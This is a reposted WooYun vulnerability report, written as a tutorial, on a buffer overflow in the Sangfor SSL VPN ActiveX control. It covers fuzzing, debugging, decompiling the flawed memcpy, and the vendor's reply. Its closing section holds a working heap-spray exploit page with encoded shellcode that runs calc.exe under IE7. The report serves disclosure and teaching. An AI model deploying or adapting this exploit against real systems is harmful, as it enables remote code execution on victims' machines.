发新话题
打印

深信服SSLVPN客户端 Activex控件BOF漏洞

深信服SSLVPN客户端 Activex控件BOF漏洞

漏洞概要
缺陷编号:        WooYun-2013-44352
漏洞标题:        深信服Activex控件BOF漏洞
相关厂商:        深信服
漏洞作者:        摸了你
提交时间:        2013-11-28 22:37
公开时间:        2014-02-26 22:38
漏洞类型:        远程代码执行
危害等级:        高
自评Rank:        10
漏洞状态:        厂商已经确认
漏洞来源:        http://www.wooyun.org
Tags标签:       缓冲区溢出

漏洞详情披露状态:
2013-11-28:        细节已通知厂商并且等待厂商处理中
2013-11-29:        厂商已经确认,细节仅向厂商公开
2013-12-02:        细节向第三方安全合作伙伴开放
2013-12-09:        细节向核心白帽子及相关领域专家公开
2013-12-19:        细节向普通白帽子公开
2014-01-08:        细节向实习白帽子公开
2014-02-26:        细节向公众公开

简要描述:BOF一枚,提交这个是想告诉,白帽子同学,如果知其所有然,就不会有相同的漏洞被其它人发现了(ActiveX 漏洞挖掘&分析教程)!
详细说明:说明:

起因是这样的,在分析 WooYun: 深信服Activex控件bufferoverflow漏洞 这个漏洞的时候,发现其实还有处可导致BOF,只不过参数不一样,漏洞产生的位置也相近,

下面来过程。

1、Fuzz

前面洞主用的Fuzz工具是Dranzer,我用的是COMRadier。

没能找到其它地方下载该ActiveX,只能按 想要减肥的胖子 提供的链接下载程序并安装。



使用ComRadier的方法,很简单!搜一下便知。



Fuzz后,此处我们只关心Fuzz后Result列为Cause Exception的相关行,选中该行后,下面列表里会显示产生异常的Address,异常原因,这里我们只看,异常地址为41414141的,因为41414141意味着eip被覆盖成41414141。







2、分析异常原因

右击选中的行弹出菜单,选中Lauch in Olly,此外我设置的Immunity Debug(此外同样适用于OD),它会加载Fuzz的测试文件。

Alt+E打开Immunity Debug模块,找到OLEAUT32.dll





双击该模块,进去后按Ctrl+n键,找到DispCallFunc函数,按F2下断





F9直接跑,程序断在DispCallFunc,此时,托动鼠标向下找,找到Call Ecx 指令,按F4,执行到此处





然后 F7 单步步入





然后 按F8 一直走,走到每一个 Call的时候要注意记下,找到异常Call,要重复执行以上步骤。

直到我们找到产生异常的Call







此处我们便可以分析,汇编了,汇编可以发现

REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 这条指令把执行了拷贝数据到堆栈的操作。

3、IDA

汇编太难懂,能不能更直观点呢,IDA上场了。

我们找到这个异常发生的函数的地址此处是020099A0,看下该模块在Immunity 里的地址是02001000,那么可得offset为89A0,那么我们用IDA打开ActiveX对应的dll,用IDA的起始地址10001000+89A0,得到函数的偏移,按住g,到达100099A0处





按下F5

得到如下从汇编到C的代码


code 区域int __cdecl sub_100099A0(const char *ArgList, int a2, struct in_addr in, __int16 a4, const char *a5, int a6, int a7)
{
  unsigned int v7; // edx@3
  unsigned int v8; // kr10_4@3
  const char *v9; // edi@3
  signed int v10; // ecx@3
  bool v11; // zf@5
  signed int v12; // eax@6
  unsigned int v13; // ecx@6
  int v14; // eax@6
  int result; // eax@8
  int v16; // [sp+Ch] [bp-808h]@3
  int v17; // [sp+10h] [bp-804h]@3
  unsigned int optval; // [sp+14h] [bp-800h]@3
  int v19; // [sp+18h] [bp-7FCh]@6
  int v20; // [sp+1Ch] [bp-7F8h]@3
  int v21; // [sp+20h] [bp-7F4h]@3
  struct in_addr v22; // [sp+24h] [bp-7F0h]@3
  __int16 v23; // [sp+28h] [bp-7ECh]@3
  int v24; // [sp+2Ch] [bp-7E8h]@3
  int v25; // [sp+30h] [bp-7E4h]@6
  const char v26; // [sp+34h] [bp-7E0h]@6
  __int16 v27; // [sp+411h] [bp-403h]@3
  char v28; // [sp+413h] [bp-401h]@3
  _BYTE v29[1024]; // [sp+414h] [bp-400h]@6

  inet_ntoa(in);
  sub_10017CE0(
    "[CSCM CDC] 客户端登录 userName = %s,auth_method = %d,svpnIp = %s,svpnPort = %d,secret = %s,grpId = %d,granularity = %d。",
    (char)ArgList);
  if ( !ArgList || !a5 )
    goto LABEL_12;
  memset((char *)&optval + 1, 0, 0x3FCu);
  v27 = 0;
  v28 = 0;
  v24 = a7;
  v7 = strlen(ArgList);
  v8 = strlen(a5) + 1;
  v9 = a5;
  v17 = 1024;
  v16 = v7 + v8 - 1 + 38;
  optval = v7 + v8 - 1 + 38;
  v21 = a6;
  v20 = a2;
  v23 = a4;
  v22 = in;
  v10 = -1;
  do
  {
    if ( !v10 )
      break;
    v11 = *v9++ == 0;
    --v10;
  }
  while ( !v11 );
  v19 = 0;
  v12 = ~v10;
  v29[0] = 0;
  v25 = ~v10;
  memcpy((void *)&v26, a5, ~v10);
  v13 = strlen(ArgList) + 1;
  *(unsigned int *)((char *)&optval + v12 + 32) = v13;
  memcpy((char *)&v19 + v12 + 32, ArgList, v13);
  memset(&v29[1], 0, 0x3FCu);
  *(_WORD *)&v29[1021] = 0;
  v29[1023] = 0;
  v14 = sub_10009730((unsigned int)&optval, (int)&v16, (int)v29, (int)&v17);
  if ( v14 != 2 && v14 != 3 )
    result = v14 != 1;
  else
LABEL_12:
    result = 0;
  return result;
}

分析代码可知,原因是由于之前的漏洞是因为此处

memcpy((char *)&v19 + v12 + 32, ArgList, v13);

导致,此处v19为局部变量,v12为第5个参数的长度,v13为函数第一个参数的长度,

这里将此参数的第一个参数的值拷贝到局部变量,而没有限制,校验长度,导致BOF。



那么我们细看,该函数还有一个参数是字符串,还有一个memcpy的调用

memcpy((void *)&v26, a5, ~v10);

这里是将函数的第5个参数拷贝到v26的地址,长度为a5的长度,同样会导致BOF。

往下拉我们的ComRaider,它也Fuzz出来了。


code 区域<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:250587D2-6704-4479-8718-3C7E163B4213' id='target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.134 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\Sinfor\SSL\ClientComponent\CSClientManagerPrj.dll"
prototype  = "Sub ClientLoginToCDC ( ByVal userName As String ,  ByVal auth_method As Long ,  ByVal svpnIp As String ,  ByVal svpnPort As Integer ,  ByVal secret As String ,  ByVal grpId As Long ,  ByVal granularity As Long )"
memberName = "ClientLoginToCDC"
progid     = "CSCLIENTMANAGERPRJLib.CSClientManager"
argCount   = 7

arg1="defaultV"
arg2=1
arg3="defaultV"
arg4=1
arg5=String(6164, "A")
arg6=1
arg7=1

target.ClientLoginToCDC arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7

</script></job></package>

之前的BOF,通过Heay Spray可成功弹出计算器。此处同理,我们只需要把之前漏洞作者的POC中

target.ClientLoginToCDC(buffer,1,"defaultv",1,"defaultv",1,1);

target.ClientLoginToCDC("defaultv",1,"defaultv",1,buffer,1,1);

就行。

4、本想在zone发分析的,想想,这里有个隐藏的之前没有提,怕厂商像tx那样只修改一个参数,导致白帽子多次提交同一处的不同参数导致的漏洞,这里我就提交下。


漏洞证明:
code 区域<html>
<body>
<object classid='clsid:250587D2-6704-4479-8718-3C7E163B4213' id="target"></object>
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
buffer='';
for( counter=0; counter<=1100; counter++)
buffer+=unescape("%0D%0D%0D%0D");
target.ClientLoginToCDC("defaultv",1,"defaultv",1,buffer,1,1);
</script>
</body>
</html>

IE7下测试,成功弹出Calc.exe


修复方案:慎用memcpy
版权声明:转载请注明来源 摸了你@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2013-11-29 14:31
厂商回复:现有补丁包中的已修复漏洞,依然谢谢
最新状态:暂无

原文:http://www.wooyun.org/bugs/wooyun-2013-044352

[ 本帖最后由 linda 于 2016-2-4 16:07 编辑 ]

TOP

发新话题